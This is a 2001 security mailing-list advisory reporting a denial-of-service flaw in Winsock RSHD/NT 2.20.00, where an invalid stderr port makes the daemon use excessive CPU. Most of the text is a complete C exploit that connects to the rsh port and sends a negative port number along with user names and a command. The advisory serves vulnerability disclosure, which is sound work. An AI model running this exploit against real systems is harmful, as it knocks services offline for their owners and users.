[NT] Winsock RSHD/NT DoS
From: support@securiteam.comDate: 12/12/01
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From: support@securiteam.com To: list@securiteam.com Date: Wed, 12 Dec 2001 18:55:27 +0100 (CET)
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Winsock RSHD/NT DoS
------------------------------------------------------------------------
SUMMARY
Winsock RSHD/NT mishandles invalid port assignments to the stderr stream.
This enables remote attackers to launch a DoS attack.
DETAILS
Vulnerable systems:
Winsock RSHD/NT version 2.20.00
Whenever an rsh client connects to the daemon, it sends the port number to
which the daemon will send all its informational data (stderr). When this
port is an invalid one (a negative number for example), or a port below
1024, the product will consume a large amount of CPU time.
Vendor status:
Vendor was informed but no measures were taken.
Exploit:
/*
** WRSHDNT 2.20.00 CPU overusage demo
** jimmers@yandex.ru
*/
#define HOST "localhost"
#define PORT 514
#include <stdio.h>
#include <winsock2.h>
int main(int argc, char * argv[]){
SOCKET s;
WSADATA WSAData;
LPHOSTENT lpHostEnt;
SOCKADDR_IN sockAddr;
int res, on = 1;
char *stderr_port = "-666";
char *local_user = "Administrator";
char *remote_user = "root";
char *cmd = "help";
res = WSAStartup( MAKEWORD( 2, 2 ),
&WSAData);
if(res != 0){
res = WSAGetLastError();
printf("WSAStartup() failed,
WSAGetLastError: %d\n", res);
return 1;
}
lpHostEnt = gethostbyname(HOST);
if(lpHostEnt == NULL){
res = WSAGetLastError();
printf("gethostbyname() failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
s = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP);
if(s == INVALID_SOCKET){
res = WSAGetLastError();
printf("socket() failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(PORT);
sockAddr.sin_addr = *((LPIN_ADDR)
*lpHostEnt->h_addr_list);
res = connect(s, (PSOCKADDR)
&sockAddr, sizeof(sockAddr));
if(res != 0){
res = WSAGetLastError();
printf("connect() failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
Sleep(400);
res = send(s, stderr_port, strlen
(stderr_port)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(stderr_port) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
printf("send(stderr_port): %d\n", res);
Sleep(400);
res = send(s, local_user, strlen(local_user)
+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(local_user) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
printf("send(local_user): %d\n", res);
Sleep(400);
res = send(s, remote_user, strlen
(remote_user)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(remote_user) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
printf("send(remote_user): %d\n", res);
Sleep(400);
res = send(s, cmd, strlen(cmd)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(cmd) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
printf("send(cmd): %d\n", res);
WSACleanup();
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:jimmers@yandex.ru> martin
rakhmanoff.
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====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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